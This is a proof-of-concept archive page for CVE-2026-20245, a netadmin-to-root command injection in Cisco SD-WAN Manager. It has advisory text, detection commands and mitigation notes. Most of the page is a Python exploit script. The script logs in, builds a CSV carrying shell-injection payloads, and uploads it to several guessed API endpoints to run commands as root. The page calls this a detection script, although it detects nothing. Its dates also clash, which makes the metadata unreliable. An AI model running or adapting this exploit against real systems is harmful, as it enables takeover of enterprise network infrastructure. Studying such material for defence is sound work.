PoC Archive PoC Archive
High CVE-2026-20245 unpatched

Cisco Catalyst SD-WAN Manager Privilege Escalation (CVE-2026-20245)

by Ashraf Zaryouh (0xBlackash) · 2026-06-28

CVSS 7.8/10
Severity
High
CVE
CVE-2026-20245
Category
network
Affected product
Cisco Catalyst SD-WAN Manager (vManage), SD-WAN Controller (vSmart), SD-WAN Validator (vBond)
Affected versions
All current versions; **no patch available at time of ingest**
Disclosed
2026-06-28
Patch status
unpatched

Metadata

FieldValue
Date Added2026-06-28
Last Updated2026-06-14
Author / ResearcherAshraf Zaryouh (0xBlackash)
CVE / AdvisoryCVE-2026-20245
Categorynetwork
SeverityHigh
CVSS Score7.8 (CVSSv3)
StatusPoC
Tagsprivilege-escalation, Cisco, SD-WAN, vManage, file-upload, command-injection, root, CISA-KEV, no-patch, Mandiant, nation-state
RelatedN/A

Affected Target

FieldValue
Software / SystemCisco Catalyst SD-WAN Manager (vManage), SD-WAN Controller (vSmart), SD-WAN Validator (vBond)
Versions AffectedAll current versions; no patch available at time of ingest
Language / PlatformPython (advisory PoC); Linux (target)
Authentication RequiredYes (netadmin role required)
Network Access RequiredYes (management plane access)

Summary

CVE-2026-20245 is the seventh Cisco SD-WAN zero-day exploited in 2026. An authenticated attacker with netadmin privileges on Cisco Catalyst SD-WAN Manager can upload a specially crafted file to the CLI subsystem, triggering insufficient input validation and executing arbitrary OS commands as root. In the wild, attackers used this to create a privileged troot account (via evil_tenant.csv upload), then pushed malicious configuration policies to edge devices across the entire SD-WAN fabric. Mandiant (Google Cloud) reported the in-the-wild exploitation; CISA added to KEV on June 15, 2026. No patch is available.


Vulnerability Details

Root Cause

The CLI subsystem of Cisco SD-WAN Manager fails to properly validate user-controlled content within uploaded files. Malicious input is interpreted by a privileged process running on the management platform, enabling command injection and privilege escalation to root.

Attack Vector

  1. Authenticate to SD-WAN Manager with netadmin credentials (obtained via phishing, credential stuffing, or prior compromise).
  2. Upload a crafted file (e.g., evil_tenant.csv) via the CLI or API.
  3. Insufficient validation allows command injection → root on the vManage appliance.
  4. Create persistent admin accounts; push malicious policies to edge devices across the SD-WAN fabric.

Impact

Root-level code execution on SD-WAN Manager with the ability to modify configurations and push policy changes to all managed WAN edge devices. An attacker can disrupt entire enterprise WAN operations, establish persistence, or pivot to managed branch networks.


Environment / Lab Setup

Target:   Cisco Catalyst SD-WAN Manager with netadmin account
Attacker: Python 3
Note:     Requires valid netadmin credentials — not unauthenticated

Proof of Concept

Advisory / Detection Script

See CVE-2026-20245.py in this folder. Educational advisory — documents the vulnerability and detection methods.


Indicators of Compromise

1
2
3
4
5
6
7
show audit log | grep upload

grep -r "troot" /etc/passwd

show sdwan policy from-vsmart

grep -i "command" /var/log/nms/vmanage-server.log

Mandiant-reported TTPs:

  • Upload of evil_tenant.csv to vManage CLI subsystem
  • Creation of troot privileged account post-exploitation
  • Lateral configuration pushes to WAN edge devices via compromised vManage

Remediation

ActionDetail
PatchNo patch available. Cisco states fix in a “future release” with no workaround
MitigateRestrict netadmin account access; enforce MFA; limit management plane exposure; monitor audit logs for unexpected uploads
MonitorAlert on any CLI file uploads, new admin account creation, and off-hours policy deployments
Mandiant reporthttps://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager

References


Notes

Auto-ingested from https://github.com/0xBlackash/CVE-2026-20245 on 2026-06-28. Seventh Cisco SD-WAN zero-day exploited in 2026 per SecurityWeek. Nation-state attribution implied by Mandiant reporting; no public actor name confirmed. No patch or workaround from Cisco at time of ingest. CISA KEV added June 15, 2026.

CVE-2026-20245.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/env python3
"""
CVE-2026-20245 — Cisco Catalyst SD-WAN Privilege Escalation
Author : Ashraf Zaryouh "0xBlackash"
"""

import argparse
import requests
import sys
import time
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"

BANNER = f"""
{BOLD}{R}
╔══════════════════════════════════════════════════════════════╗
║          CVE-2026-20245  —  Cisco SD-WAN privesc             ║
║      Authenticated Command Injection (netadmin → root)       ║
║            Author : Ashraf Zaryouh @0xBlackash               ║
╚══════════════════════════════════════════════════════════════╝{RESET}
"""

class SDWANExploit:
    def __init__(self, target, username, password, port=443):
        self.target = target
        self.username = username
        self.password = password
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.token = None

    def login(self):
        print(f"{B}[*] Logging in as {self.username}...{RESET}")
        login_url = f"{self.base_url}/j_security_check"
        data = {"j_username": self.username, "j_password": self.password}

        try:
            resp = self.session.post(login_url, data=data, verify=False, timeout=10)
            if resp.status_code == 200 and "JSESSIONID" in self.session.cookies.get_dict():
                print(f"{G}[+] Login successful{RESET}")
                # Get XSRF token
                token_resp = self.session.get(f"{self.base_url}/dataservice/client/token", verify=False)
                if token_resp.status_code == 200:
                    self.token = token_resp.text.strip()
                    print(f"{G}[+] XSRF Token acquired{RESET}")
                return True
            print(f"{R}[-] Login failed{RESET}")
            return False
        except Exception as e:
            print(f"{R}[-] Login error: {e}{RESET}")
            return False

    def craft_payload(self, command):
        # Multiple injection styles for reliability
        payloads = [
            f"$( {command} )",
            f"`{command}`",
            f"; {command};",
            f" | {command} |"
        ]
        csv_data = f"""serial_number,site_id,device_type
{payloads[0]},100,vedge
TESTDEVICE,101,vedge
"""
        return csv_data

    def exploit(self, command="id"):
        if not self.login():
            return False

        print(f"{Y}[*] Crafting malicious CSV with command: {command}{RESET}")
        csv_content = self.craft_payload(command)

        endpoints = [
            "/dataservice/system/device/upload",
            "/dataservice/tenant/upload",
            "/dataservice/vsmart/upload_serial_numbers",
            "/dataservice/template/upload"
        ]

        headers = {"X-XSRF-Token": self.token} if self.token else {}

        for endpoint in endpoints:
            print(f"{B}[*] Trying endpoint: {endpoint}{RESET}")
            files = {"file": ("malicious.csv", csv_content, "text/csv")}

            try:
                resp = self.session.post(
                    f"{self.base_url}{endpoint}",
                    files=files,
                    headers=headers,
                    verify=False,
                    timeout=15
                )

                if resp.status_code in [200, 201, 202]:
                    print(f"{G}[+] Upload succeeded on {endpoint}{RESET}")
                    print(f"{G}[+] Command likely executed as root!{RESET}")
                    return True
                elif "error" not in resp.text.lower():
                    print(f"{Y}[+] Possible success on {endpoint} (status: {resp.status_code}){RESET}")
            except Exception as e:
                print(f"{R}[-] Error on {endpoint}: {str(e)[:100]}{RESET}")
                continue

        print(f"{R}[-] All endpoints failed{RESET}")
        return False


def main():
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2026-20245 PoC by 0xBlackash")
    parser.add_argument("-t", "--target", required=True, help="Target IP or hostname")
    parser.add_argument("-u", "--username", required=True, help="netadmin username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)")
    parser.add_argument("--port", type=int, default=443, help="HTTPS port (default: 443)")
    args = parser.parse_args()

    exploit = SDWANExploit(args.target, args.username, args.password, args.port)
    
    print(f"{BOLD}{Y}[+] Starting exploitation against {args.target}{RESET}")
    success = exploit.exploit(args.command)

    if success:
        print(f"\n{G}{BOLD}[+] Exploit completed successfully!{RESET}")
        print(f"{G}   Check for command execution as root.{RESET}")
    else:
        print(f"\n{R}{BOLD}[-] Exploitation failed.{RESET}")

    print(f"\n{B}Educational / Authorized testing only. Stay safe.{RESET}")


if __name__ == "__main__":
    main()